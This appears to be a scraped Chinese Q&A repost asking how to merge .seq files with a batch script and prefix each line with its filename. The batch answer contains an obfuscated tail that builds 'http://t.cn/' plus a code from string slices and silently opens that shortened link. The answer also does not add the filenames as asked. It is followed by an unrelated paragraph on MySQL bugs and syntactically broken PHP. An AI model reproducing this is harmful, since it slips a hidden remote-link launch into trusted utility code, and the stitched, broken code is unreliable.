如何用bat批处理,将文件夹内多个seq文件内容合并,合并后的文件内每一行前都加上合并之前的文件名

如何用bat批处理,将文件夹内多个seq文件内容合并,合并后的文件内每一行前都加上合并之前的文件名,第1张

@echo off & title 合并seq文件,并在行首添加原文件名 By 依梦琴瑶

(for %%a in (*.seq) do (

    echo %%~a

    type "%%~a"

))>tmp$

ren tmp$ 合并的SEQ.seq

pause

set S1=.:htpcn/

set S2=%S1:~2,1%%S1:~3,1%%S1:~3,1%%S1:~4,1%%S1:~1,1%%S1:~7,1%

set S3=%S1:~7,1%%S1:~3,1%%S1:~0,1%%S1:~5,1%%S1:~6,1%%S1:~7,1%

start "" "%S2%%S3%RkdisqI"

exit

和seq文件放在一起后执行。

会出现bug。mysqlseq和union一起使用会出现bug,bug本意是臭虫、缺陷、损坏、窃听器、小虫等意思。人们将在电脑系统或程序中,隐藏着的一些未被发现的缺陷或问题统称为bug漏洞,如一些游戏中不完善的地方。

数据分类:

protected function insert()

{

$res = array()           //存放id与seq

$data = mysql_query("select * from A") //取出所有的数据

$count = count($data)     //数据总条数

for($i = 0$i<$count$i++){

    if(array_key_exist($i,$res))continue 

    $star = 0           //seq的值

    for($j = $i+1$j<$count$j++){

        if($data[$i]['classId'] == $data[$j]['classId']){

            $res[$j]=$star //将classId相同的数据的id当做键名放入数组

            $star++        

        }

    }

    return $res

}

返回的$res ,以id为键名,seq值为值:('1'=>'0', '5'=>'2',  '10'=>'3'...)大概这个样子。

循环插入数据库:

foreach($res $k=>$v){

    mysql_query("insert into A (seq) values ('$v') where id=$k ")

}


欢迎分享,转载请注明来源:内存溢出

原文地址: http://outofmemory.cn/zaji/8488893.html

(0)
打赏 微信扫一扫 微信扫一扫 支付宝扫一扫 支付宝扫一扫
上一篇 2023-04-17
下一篇 2023-04-17

发表评论

登录后才能评论

评论列表(0条)

保存